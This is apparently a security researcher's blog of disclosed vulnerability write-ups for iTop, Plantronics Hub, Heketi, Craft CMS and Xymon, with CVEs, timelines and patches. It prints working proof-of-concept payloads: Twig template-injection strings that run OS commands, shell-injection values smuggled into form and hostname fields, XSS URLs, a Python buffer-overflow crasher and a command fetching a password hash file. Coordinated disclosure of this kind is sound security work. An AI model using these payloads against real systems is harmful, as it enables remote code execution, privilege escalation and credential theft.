Bits and Pieces of Security

Author: markus

iTop – Template Injection inside customer Portal

iTop is an open-source web application and stands for “IT Operations Portal”. According to the company it is an ITIL, web-based service management tool including a fully customizable CMDB, a helpdesk system and a document management tool.

For security testing purposes I used a docker instance of iTop (Source: https://github.com/vbkunin/itop-docker). However, I would not recommend using this docker configuration in a productive setup.

Apart from some other issues I found a template injection that could be triggered from an authenticated portal user session (e.g. customer account).
As a portal user I login and then view the customer account profile /pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal

After a small modification on my own profile I clicked “Submit”, which initiated a HTTP-Post call to /pages/exec.php/object/edit/Person/34?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal

This request transmits the following details inside the body:

operation=submit&stimulus_code=&transaction_id=test2-dZfNlP&formmanager_class=Combodo%5CiTop%5CPortal%5CForm%5CObjectFormManager&formmanager_data=%7B%22id%22%3A%22objectform-default-user-profile-615b2b7371c75%22%2C%22transaction_id%22%3A%22test2-dZfNlP%22%2C%22formmanager_class%22%3A%22Combodo%5C%5CiTop%5C%5CPortal%5C%5CForm%5C%5CObjectFormManager%22%2C%22formrenderer_class%22%3A%22Combodo%5C%5CiTop%5C%5CRenderer%5C%5CBootstrap%5C%5CBsFormRenderer%22%2C%22formrenderer_endpoint%22%3A[.. shortened .. ]&current_values%5Bphone%5D=&current_values%5Blocation_id%5D=1&current_values%5Bfunction%5D=a

It is much easier to read in an URL-decoded way and only with the important part (formmanager_data):

&formmanager_data={"id":"objectform-default-user-profile-615b2b7371c75","transaction_id":"test2-dZfNlP","formmanager_class":"Combodo\\iTop\\Portal\\Form\\ObjectFormManager","formrenderer_class":"Combodo\\iTop\\Renderer\\Bootstrap\\BsFormRenderer","formrenderer_endpoint":"/pages/exec.php/object/edit/Person/34?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal","formobject_class":"Person","formobject_id":"34","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"xhtml","content":"  <!-- data-field-id attribute must be an attribute code of the class -->\n  <!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change -->\n  <div class=\"form_field\" data-field-id=\"first_name\" data-field-flags=\"read_only[... more details ..]

The json part in a nicely formatted view:

{
  "id": "objectform-default-user-profile-615b2b7371c75",
  "transaction_id": "test2-dZfNlP",
  "formmanager_class": "Combodo\\iTop\\Portal\\Form\\ObjectFormManager",
  "formrenderer_class": "Combodo\\iTop\\Renderer\\Bootstrap\\BsFormRenderer",
  "formrenderer_endpoint": "/pages/exec.php/object/edit/Person/34?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal",
  "formobject_class": "Person",
  "formobject_id": "34",
  "formmode": "edit",
  "formactionrulestoken": "",
  "formproperties": {
    "id": "default-user-profile",
    "type": "custom_list",
    "fields": [],
    "layout": {
      "type": "xhtml",
      "content": "  <!-- data-field-id attribute must be an attribute code of the class -->\n  <!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change -->\n  <div class=\"form_field\" data-field-id=\"first_name\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"name\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"org_id\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"email\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"phone\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"location_id\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"function\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"manager_id\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>"
    }
  }
}

There are several interesting parameters inside this payload. I took some time to tamper with “formmanager_class” and “formrenderer_class”. It allowed me to call different classes within the class tree, however I decided it is a dead end.

The other parameter that caught my attention was “formproperties.layout.type”. As can be seen inside the source code the value is either xhtml or twig (https://github.com/Combodo/iTop/blob/473a49ab6bac9275a123155c6c80c1f763ff9f9a/datamodels/2.x/itop-portal-base/portal/src/Brick/UserProfileBrick.php#L221).

Sooo twig instructions can be sent to the server? I changed the layout type manually from xhtml to twig.

&formmanager_data={"id":"objectform-default-user-profile-615b2b7371c75","transaction_id":"test2-dZfNlP","formmanager_class":"Combodo\\iTop\\Portal\\Form
  "transaction_id": "test2-dZfNlP",
  "formmanager_class": "Combodo\\iTop\\Portal\\Form\\ObjectFormManager",
  "formrenderer_class": "Combodo\\iTop\\Renderer\\Bootstrap\\BsFormRenderer",
  "formrenderer_endpoint": "/pages/exec.php/object/edit/Person/34?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal",
  "formobject_class": "Person",
  "formobject_id": "34",
  "formmode": "edit",
  "formactionrulestoken": "",
  "formproperties": {
    "id": "default-user-profile",
    "type": "custom_list",
    "fields": [],
    "layout": {
      "type": "twig",
      "content": "  <!-- data-field-id attribute must be an attribute code of the class -->\n  <!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change -->\n  <div class=\"form_field\" data-field-id=\"first_name\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"name\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"org_id\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"email\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"phone\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"location_id\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"function\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"manager_id\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>"
    }
  }
}

I finally found a spot in “content” where twig expressions can be inserted. The fields “data-field-id” or “data-field-flags” were found to be vulnerable:

      "content": "  <!-- data-field-id attribute must be an attribute code of the class -->\n  <!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change -->\n  <div class=\"form_field\" data-field-id=\"first_name{{2*3}}\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"name\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"org_id\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"email\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"phone\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"location_id\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"function\">\n\t\t\t\t\t\t\t</div>\n  <div class=\"form_field\" data-field-id=\"manager_id\" data-field-flags=\"read_only\">\n\t\t\t\t\t\t\t</div>"

Which on the server side results in an error.log entry as shown below:

2021-10-04 18:36:29 | Error   | Oops! An error has occured.: Unknown attribute first_name6 from class Person | IssueLog

By sending the following data-field-id=\"first_name{{['id']|filter('system')}}\" the OS command gets executed and the error log shows:

2021-10-04 18:38:39 | Error   | Oops! An error has occured.: Unknown attribute first_nameuid=33(www-data) gid=33(www-data) groups=33(www-data) Array from class Person | IssueLog

To avoid this kind of logging the following parameter could be used

data-field-id%3D%5C%22first_name{{['echo+pwned+>+/tmp/pwned']|filter('system')|join(',')}}%5C%22
The added join instruction coverts the resulting array into a single string to avoid an entry into the error.log of iTop.

This allows to execute OS commands via template injection. I found the issue to be present on other functions than profile submission as well. For example by updating an incident ticket from a customer perspective. I verified the issue to be present in version 3.0.0-beta-7312 and 2.7.4-7194.

My estimation from a CVSSv3 point of view is a 9.9 https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Combodo quickly acknowleged the issue and began working on a patch. They have published a fixed version but did not disclose any details about fixed security issues as of today (Release Notes: https://www.itophub.io/wiki/page?id=latest%3Arelease%3Achange_log#section276). Update: Combodo released details as listed in the timeline.

Timeline
04.10.2021 Reported issue to Combodo
06.10.2021 Acknowlegement of receiption
19.10.2021 Acknowlegement of vulnerability
05.01.2022 Release of patched 2.7.6 version
21.03.2022 Release of PoC
05.04.2022 Release of details by Combodo and CVE-2022-24780 issued

Admin capabilities around your ears

Do you own a Plantronics headset? If you do, you are probably using Plantronics Hub on your system. This software can be used to configure the headset and complete firmware upgrades.

As I went through the documentation of Plantronics Hub I noticed something interesting:

“PLTHub.exe is the Plantronics Hub process that runs at start up
providing all of the functionality expected from Plantronics Hub.
PlantronicsUpdate.exe is also a process that runs at start up. This
process allows Windows users without administrative permissions
to upgrade Plantronics Hub.”

Which means that there is a privileged process that can be triggered from a non-administrator context. My curiosity was raised!

What I did next was to install the application in a version, which was not the latest one on a test system and launch Process Monitor. Filters were applied to only list actions from the elevated and the user process. After that I choose to upgrade the application through the user GUI. The output of Procmon is shown below:

Procmon output while updating Plantronics Hub

As can be identified from the output the elevated process “SpokesUpdateService.exe” is continuously probing for a file called “MajorUpgrade.config” in “C:\ProgramData\Plantronics\Spokes3G\”. The user application “PLTHub.exe” creates this file, which means that any user is able to create the corresponding file. The elevated process immediately consumes the file and deletes it. The update process was finished shortly after. I reverted back to the old version and retriggered the update process, but this time I stopped the service “SpokesUpdateService.exe”.

Now I was able to view the contents of the “MajorUpgrade.config” file and the contents were:

markus|advertise|C:\Users\Markus\AppData\Local\Temp\PlantronicsHub\sec0pdbgi8tl92mykzw1jnao3h6rv5fu4qx7\PlantronicsHubBootstrapper.exe

So basically, the file consists of the following structure <username>|advertise|<path to exe>

I went ahead and modified the path to the executable file with the following path “C:\Windows\System32\cmd.exe”, restarted the update service and was immediately given an elevated command prompt.

The issue was reported to Poly and they handled it professionally. Their fix was to make sure that the update executable is signed with their certificate. I tried to bypass their new validation (for example with a downgrade attack) but failed.

Affected Version: Plantronics Hub for Windows prior to version 3.14

CVSS v3: 7.3 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)

CVE-2019-15742: https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf

Exploit-DB: https://www.exploit-db.com/exploits/47845

Exploit was ported to Metasploit by bcoles: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/plantronics_hub_spokesupdateservice_privesc.rb

Heketi – Container escape

During a container cluster assessment I noticed Heketi beeing used as a rest endpoint to manage GlusterFS volumes. As this was a white-box test I had been given read access to all relevant configuration files. The heketi config looked interesting, because I saw that authentication was disabled (this was the default setting) and heketi uses SSH to distribute calls to other systems. Therefore, an SSH key was configured as part of the configuration process.

A snippet of the config file looked like this:

  "executor": "ssh",

  "_sshexec_comment": "SSH username and private key file information",
  "sshexec": {
    "keyfile": "/etc/heketi/heketi_key",
    "user": "user",
    "port": "22",
    "fstab": "/etc/fstab",
    "sudo": true
  },

I reviewed the publicly accessible API documentation for heketi and probed it simultanously. Of course, no authentication on an infrastructure service like this is an issue in itself, because of denial of service possibilities.

Even more interesting was that I found a request where I am able to inject OS commands on hosts chosen within the request:

{
     "zone": 1,
     "hostnames": {
         "manage": [
             "127.0.0.1"
         ],
         "storage": [
             " || touch /tmp/vuln"
         ]
     },
     "cluster": "[.. removed ..]"
}

https://github.com/heketi/heketi/blob/master/docs/api/api.md#add-node

This issue made it possible to inject arbitrary OS commands on a system (example: 127.0.0.1), which is accessible using the configured heketi SSH key. This issue was even exploitable from within a pod / container on the cluster, which basically lets an attacker escape the container to one of the underlying hosts.

The issue has been discretely reported to Red Hat and a fixed version was released.

CVSS v3: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVE-2017-15103: https://access.redhat.com/security/cve/CVE-2017-15103

Craft CMS – Why case matters

A few weeks ago I discovered a vulnerability in Craft CMS that I would like to describe and share.

I was looking for action calls in the application that are exposed to unauthenticated users. There are only a few of them as you can see below:

% grep -r '$allowAnonymous'        
TemplatesController.php: public $allowAnonymous = true;
InstallController.php: protected $allowAnonymous = true;
UpdateController.php: protected $allowAnonymous = array('actionPrepare', 'actionBackupDatabase', 'actionUpdateDatabase', 'actionCleanUp', 'actionRollback');
UsersController.php: protected $allowAnonymous = array('actionLogin', 'actionLogout', 'actionGetAuthTimeout', 'actionForgotPassword', 'actionSendPasswordResetEmail', 'actionSendActivationEmail', 'actionSaveUser', 'actionSetPassword', 'actionVerifyEmail');
TasksController.php: protected $allowAnonymous = array('actionRunPendingTasks');
EntriesController.php: protected $allowAnonymous = array('actionViewSharedEntry');

The one that caught my attention was the TemplatesController, which had all actions exposed to unauthenticated users.

As it turned out one of the actions allowed the user to submit an application template and corresponding values for the variables defined in this template. The first thing I constructed was a proof of concept that showed that arbitrary text content can be embedded into the site. My proof of concept looked like this:

http://127.0.0.1/index.php?p=actions/Templates/render&template=index&variables[entry][title]=This+is+a+total+fake!&variables[entry][body]=We+decided+to+close+this+site+down.+If+you+want+to+visit+our+new+site+please+use: +www.attacker.com+or+click+on+our+site+name+in+the+upper+left.&variables[entry][id]=1&variables[siteName]=Some+Corp&variables[siteUrl]=http://www.attacker.com

Which would result in the following blog view:

So nice to have but something other than sharing some fake news for a Craft CMS site could not be achieved. All kinds of payloads that I included were filtered by the application.

After I notified the developers, I realized that I had to use a different template in order to get more impact for this vulnerability. For template rendering Craft relies on Twig. Templates, which include a variable using “varname|raw” can be used to inject HTML or JavaScript code as the input filter would not be triggered on those. Like the following example:

http://127.0.0.1/index.php?p=admin/actions/Templates/render&template=_components/widgets/CraftSupport/response.html&variables[success]=1&variables[widgetId]=1&variables[reqCheck][result]=failed&variables[errors]=</script><script>alert(1)</script>

This proof of concept uses the “_components/widgets/CraftSupport/response.html” default template and the errors variable to deliver the malicious payload. This function would only execute if the targeted person is logged into Craft CMS.

The developers reacted very quickly to my emails. Actually, it was never intended to access the TemplatesController actions directly. The issue was that direct calls were checked by the following code:

/*
* Prevent this controller from being accessed directly
*/
public function beforeAction($action)
{
$actionSegments = craft()->request->getActionSegments();
if (isset($actionSegments[0]) &amp;&amp; $actionSegments[0] === 'templates') {
throw new HttpException(403);
}

As you may have noticed templates is written in lower case and in my proof of concepts I used a capital T to access the action calls. Therefore, the fix for this one was:

if (isset($actionSegments[0]) && strtolower($actionSegments[0]) === 'templates') {

The work with the Craft CMS team was very nice. I have been awarded with a small bounty. The issue has been fixed with version 2.6.2990 on 15.09.2017.

Shell command injection (CVE-2016-2056)

Software

Xymon http://xymon.sourceforge.net/

Versions affected: All 4.3 versions prior to 4.3.25 as well as 4.1.x and 4.2.x

Shell command injection in the “useradm” and “chpasswd” web applications

The useradm and chpasswd web applications may be used to administer passwords for user authentication in Xymon, acting as a web frontend to the Apache “htpasswd” application. The htpasswd command is invoked via a shell command, and it is therefore possible to inject arbitrary commands and have them executed with the privileges of the webserver (CGI) user.

This bug can only be triggered by web users with access to the Xymon webpages, who are already authenticated as Xymon users. However, when combined with CVE-2016-2055 which allows for off-line cracking of password hashes, this bug may be exploitable by others.

Technical Background

The following request will escape the intended command and append another command (in this case a ping).

POST /xymon-seccgi/useradm.sh HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/xymon-seccgi/useradm.sh
Cookie: pagepath=; host=kali-mk-local
Authorization: Basic [removed]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

USERNAME=a&PASSWORD=';`ping -c 22 127.0.0.1` #&SendCreate=Create&USERLIST=

The process list on the host shows that the malicious command is executed:

# ps aux

[output reduced]

www-data 29422 0.0 0.0 4336 748 ? S 21:27 0:00 sh -c htpasswd -b ‘/usr/lib/xymon/server/etc/xymonpasswd’ ‘a’ ”;`ping -c 22 127.0.0.1` #’ www-data 29424 0.0 0.0 8460 752 ? S 21:27 0:00 ping -c 22 127.0.0.1

The USERNAME POST parameter is affected by this behavior as well.

Solution

The following patch has been created by the authors. They now more carefully handle the parameters used to construct the complete string.

Index: web/chpasswd.c
===================================================================
--- web/chpasswd.c	(revision 7856)
+++ web/chpasswd.c	(working copy)
@@ -14,6 +14,7 @@
 #include <string.h>
 #include <stdlib.h>
 #include <sys/wait.h>
+#include <unistd.h>
 
 #include "libxymon.h"
 
@@ -152,33 +153,69 @@
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Password has invalid characters! Use alphanumerics and/or _ - . , @ / = ^'); </SCRIPT>\n";
 			}
 			else {
-				const size_t bufsz = 1024 + strlen(passfile) + strlen(adduser_name) + strlen(adduser_password);
+				pid_t childpid;
+				int n, ret;
 
-				cmd = (char *)malloc(bufsz);
-				snprintf(cmd, bufsz, "htpasswd -bv '%s' '%s' '%s'",
-					 passfile, adduser_name, adduser_password);
-				n = system(cmd); ret = WEXITSTATUS(n);
-				if ((n == -1) || (ret != 0)) {
+				childpid = fork();
+				if (childpid < 0) {
+				        /* Fork failed */
+				        errprintf("Could not fork child\n");
+				        exit(1);
+				}
+				else if (childpid == 0) {
+				        /* child */
+				        char *cmd;
+				        char **cmdargs;
+				
+				        cmdargs = (char **) calloc(4 + 2, sizeof(char *));
+				        cmdargs[0] = cmd = strdup("htpasswd");
+				        cmdargs[1] = "-bv";
+				        cmdargs[2] = strdup(passfile);
+				        cmdargs[3] = strdup(adduser_name);
+				        cmdargs[4] = strdup(adduser_password);
+				        cmdargs[5] = '\0';
+				
+				        execvp(cmd, cmdargs);
+				        exit(127);
+				}
+				
+				/* parent waits for htpasswd to finish */
+				if ((waitpid(childpid, &n, 0) == -1) || (WEXITSTATUS(n) != 0)) {
 					infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Existing Password incorrect'); </SCRIPT>\n";
+					break;
+				}
 
+				childpid = fork();
+				if (childpid < 0) {
+				        /* Fork failed */
+				        errprintf("Could not fork child\n");
+				        exit(1);
 				}
-				else {
+				else if (childpid == 0) {
+				        /* child */
+				        char *cmd;
+				        char **cmdargs;
+				
+				        cmdargs = (char **) calloc(4 + 2, sizeof(char *));
+				        cmdargs[0] = cmd = strdup("htpasswd");
+				        cmdargs[1] = "-b";
+				        cmdargs[2] = strdup(passfile);
+				        cmdargs[3] = strdup(adduser_name);
+				        cmdargs[4] = strdup(adduser_password1);
+				        cmdargs[5] = '\0';
+				
+				        execvp(cmd, cmdargs);
+				        exit(127);
+				}
+				
+				/* parent waits for htpasswd to finish */
+				if ((waitpid(childpid, &n, 0) == -1) || (WEXITSTATUS(n) != 0)) {
+					infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Update FAILED'); </SCRIPT>\n";
 
-					xfree(cmd);
-					cmd = (char *)malloc(bufsz);
-					snprintf(cmd, bufsz, "htpasswd -b '%s' '%s' '%s'",
-					 	passfile, adduser_name, adduser_password1);
-					n = system(cmd); ret = WEXITSTATUS(n);
-					if ((n == -1) || (ret != 0)) {
-						infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Update FAILED'); </SCRIPT>\n";
-
-					}
-					else {
-						infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Password changed'); </SCRIPT>\n";
-					}
 				}
-
-				xfree(cmd);
+				else {
+					infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Password changed'); </SCRIPT>\n";
+				}
 			}
 		}
 		break;
Index: web/useradm.c
===================================================================
--- web/useradm.c	(revision 7856)
+++ web/useradm.c	(working copy)
@@ -14,6 +14,7 @@
 #include <string.h>
 #include <stdlib.h>
 #include <sys/wait.h>
+#include <unistd.h>
 
 #include "libxymon.h"
 
@@ -116,46 +117,79 @@
 
 	  case ACT_CREATE:	/* Add a user */
 		{
-			char *cmd;
+			pid_t childpid;
 			int n, ret;
 
-			const size_t bufsz = 1024 + strlen(passfile) + strlen(adduser_name) + strlen(adduser_password);
-			cmd = (char *)malloc(bufsz);
-			snprintf(cmd, bufsz, "htpasswd -b '%s' '%s' '%s'",
-				 passfile, adduser_name, adduser_password);
-			n = system(cmd); ret = WEXITSTATUS(n);
-			if ((n == -1) || (ret != 0)) {
+			childpid = fork();
+			if (childpid < 0) {
+				/* Fork failed */
+				errprintf("Could not fork child\n");
+				exit(1);
+			}
+			else if (childpid == 0) {
+				/* child */
+				char *cmd;
+				char **cmdargs;
+
+				cmdargs = (char **) calloc(4 + 2, sizeof(char *));
+				cmdargs[0] = cmd = strdup("htpasswd");
+				cmdargs[1] = "-b";
+				cmdargs[2] = strdup(passfile);
+				cmdargs[3] = strdup(adduser_name);
+				cmdargs[4] = strdup(adduser_password);
+				cmdargs[5] = '\0';
+
+				execvp(cmd, cmdargs);
+				exit(127);
+			}
+
+			/* parent waits for htpasswd to finish */
+			if ((waitpid(childpid, &n, 0) == -1) || (WEXITSTATUS(n) != 0)) {
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Update FAILED'); </SCRIPT>\n";
 
 			}
 			else {
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('User added/updated'); </SCRIPT>\n";
 			}
-
-			xfree(cmd);
 		}
 		break;
 
 
 	  case ACT_DELETE:	/* Delete a user */
 		{
-			char *cmd;
+			pid_t childpid;
 			int n, ret;
 
-			const size_t bufsz = 1024 + strlen(passfile) + strlen(deluser_name);
-			cmd = (char *)malloc(bufsz);
-			snprintf(cmd, bufsz, "htpasswd -D '%s' '%s'",
-					passfile, deluser_name);
-			n = system(cmd); ret = WEXITSTATUS(n);
-			if ((n == -1) || (ret != 0)) {
+			childpid = fork();
+			if (childpid < 0) {
+				/* Fork failed */
+				errprintf("Could not fork child\n");
+				exit(1);
+			}
+			else if (childpid == 0) {
+				/* child */
+				char *cmd;
+				char **cmdargs;
+
+				cmdargs = (char **) calloc(3 + 2, sizeof(char *));
+				cmdargs[0] = cmd = strdup("htpasswd");
+				cmdargs[1] = "-D";
+				cmdargs[2] = strdup(passfile);
+				cmdargs[3] = strdup(deluser_name);
+				cmdargs[4] = '\0';
+
+				execvp(cmd, cmdargs);
+				exit(127);
+			}
+
+			/* parent waits for htpasswd to finish */
+			if ((waitpid(childpid, &n, 0) == -1) || (WEXITSTATUS(n) != 0)) {
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Update delete FAILED'); </SCRIPT>\n";
 
 			}
 			else {
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('User deleted'); </SCRIPT>\n";
 			}
-
-			xfree(cmd);
 		}
 		break;
 	}

Time Line

2016-01-06 – Reported vulnerability to authors

2016-02-08 – Vulnerability has been fixed in Xymon version 4.3.25.

Resources

https://sourceforge.net/p/xymon/news/2016/02/xymon-4325-released—security-update/

Access to possibly confidential files (CVE-2016-2055)

Software

Xymon http://xymon.sourceforge.net/

Versions affected: All 4.3 versions prior to 4.3.25 as well as 4.1.x and 4.2.x

Access to possibly confidential files in the Xymon configuration directory

The xymond daemon will allow anyone with network access to the xymond network port (1984) to download configuration files in the Xymon “etc” directory. In a default installation, the Apache htaccess file “xymonpasswd” controlling access to the administrator webpages is installed in this directory and is therefore available for download. The passwords in the file are hashed, but may then be brute-forced off-line. This bug may be triggered by anyone with network access to the xymond service on port 1984, unless access has been restricted with the “–status-senders” option (a non-default configuration).

Technical Background
It is possible to retrieve sensitive data via the network. The xymonpasswd file stores auth credentials for the web application. This file is (by default) placed in the “etc” directory and readable by the xymon daemon. The client tool xymon can be used to retrieve config files from a running Xymon daemon. Therefore, the tool can be misused to return the hashed credentials to access the web application. From a host on the same network the htpasswd file can be retrieved using the following command:

./xymon 10.10.10.10 "config xymonpasswd"

An attacker has direct access to legitimate user names and is also able to crack the returned hashes offline.

Solution
Administrators of existing installations should ensure that the xymonpasswd file is not readable by the userid running the xymond daemon. Permissions should be: Owner=webserver UID, group=webserver GID, mode rw-rw— (600). This will be the default configuration starting with Xymon 4.3.25. In addition, the “config” command will only allow access to regular files. By default, only files ending in “.cfg” may be directly retrieved, although this can be overridden by the administrator, and config files may include other files and directories using existing directives.

Alternatively, the file may be moved to a location outside the Xymon configuration directory. The Xymon cgioptions.cfg file must then be edited so CGI_USERADM_OPTS and CGI_CHPASSWD_OPTS include “–passwdfile=FILENAME”.

Time Line

2016-01-08 – Reported vulnerability to authors

2016-02-08 – Vulnerability has been fixed in Xymon version 4.3.25.

Resources

https://sourceforge.net/p/xymon/news/2016/02/xymon-4325-released—security-update/

Buffer overflow in xymond (CVE-2016-2054)

Software

Xymon http://xymon.sourceforge.net/

Versions affected: All 4.3 versions prior to 4.3.25 as well as 4.1.x and 4.2.x

Buffer overflow in xymond handling of “config” command

The xymond daemon performs an unchecked copying of a user-supplied filename to a fixed-size buffer when handling a “config” command. This may be used to trigger a buffer overflow in xymond, possibly resulting in remote code execution and/or denial of service of the Xymon monitoring system. This code will run with the privileges of the xymon userid.
This bug may be triggered by anyone with network access to the xymond service on port 1984, unless access has been restricted with the “–status-senders” option (a non-default configuration).

Technical Background

An untrusted input (fn) is copied into a fixed size buffer of length PATH_MAX without checking length requirements in xymond/xymond.c

int get_config(char *fn, conn_t *msg)
{
char fullfn[PATH_MAX];
FILE *fd = NULL;
struct stat st;
strbuffer_t *inbuf, *result;

dbgprintf("-> get_config %s\n", fn);
sprintf(fullfn, "%s/etc/%s", xgetenv("XYMONHOME"), fn);

The following POC was used to crash the Xymon daemon:

#!/usr/bin/env python
import socket
import sys

TCP_IP = str(sys.argv[1])
TCP_PORT = 1984
BUFFER_SIZE = 1024

MESSAGE = "config " + 'A' * 500000

try:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((TCP_IP, TCP_PORT))
 s.send(MESSAGE)
 print "Sent large payload..."
 s.shutdown(1) # we will not send more data! This is needed for xymond to start processing the request
 data = s.recv(BUFFER_SIZE)
 s.close()

except socket.error:
 print "Connection error"

As can be seen by the following log the stack canary has been overwritten:

*** buffer overflow detected ***: xymond terminated
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c6f3)[0xb73d76f3]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb74652d5]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xf838a)[0xb746338a]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xf7ae8)[0xb7462ae8]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(_IO_default_xsputn+0x8e)[0xb73db04e]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(_IO_vfprintf+0x224a)[0xb73b045a]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__vsprintf_chk+0xb4)[0xb7462ba4]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__sprintf_chk+0x2f)[0xb7462acf]
xymond[0x80519c8]
xymond[0x8054c83]
xymond[0x804b470]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf3)[0xb7384a63]
xymond[0x804c150]

Solution

Check length of user supplied string.

Index: xymond/xymond.c
===================================================================
--- xymond/xymond.c	(revision 7852)
+++ xymond/xymond.c	(working copy)
@@ -2767,7 +2767,7 @@
 	strbuffer_t *inbuf, *result;
 
 	dbgprintf("-> get_config %s\n", fn);
-	sprintf(fullfn, "%s/etc/%s", xgetenv("XYMONHOME"), fn);
+	snprintf(fullfn, sizeof(fullfn), "%s/etc/%s", xgetenv("XYMONHOME"), fn);
 	fd = stackfopen(fullfn, "r", NULL);
 	if (fd == NULL) {
 		errprintf("Config file %s not found\n", fn);

Time Line

2016-01-17 – Reported vulnerability to authors

2016-02-08 – Vulnerability has been fixed in Xymon version 4.3.25.

Resources

https://sourceforge.net/p/xymon/news/2016/02/xymon-4325-released—security-update/

Javascript injection in “detailed status webpage” of monitoring items (CVE-2016-2058)

Software
Xymon http://xymon.sourceforge.net/
Versions affected: All 4.3 versions prior to 4.3.25 as well as 4.1.x and 4.2.x


Javascript injection in “detailed status webpage” of monitoring items
A status-message sent from a Xymon client may contain any data, including HTML, which will be included on the “detailed status” page available via the Xymon status webinterface. A malicious user may send a status message containing custom Javascript code, which will then be rendered in the browser of the user viewing the status page.


Exploitation of this bug requires that you can control the contents of a status message sent to Xymon, which is possible if you control one of the servers monitored by Xymon, or the Xymon master server. Also, the bug requires a user to actually view the “detailed status” webpage.


Technical Background
Monitored systems can send manual defined status reports. The following command shows such a status report with a JavaScript payload as comment.
./xymon 127.0.0.1 "status hostname-local.cpu green aa"

By visiting the following URL the (stored) Cross-Site-Scripting vulnerability is triggered.
http://127.0.0.1/xymon-cgi/svcstatus.sh?HOST=hostname-local&SERVICE=cpu

Solution
Content-Security-Policy definitions have been added to the webserver header. At least this should mitigate an attack for current browsers.


Time Line
2016-01-08 – Reported vulnerability to authors
2016-02-08 – Vulnerability has been fixed in Xymon version 4.3.25.

Resources
https://sourceforge.net/p/xymon/news/2016/02/xymon-4325-released—security-update/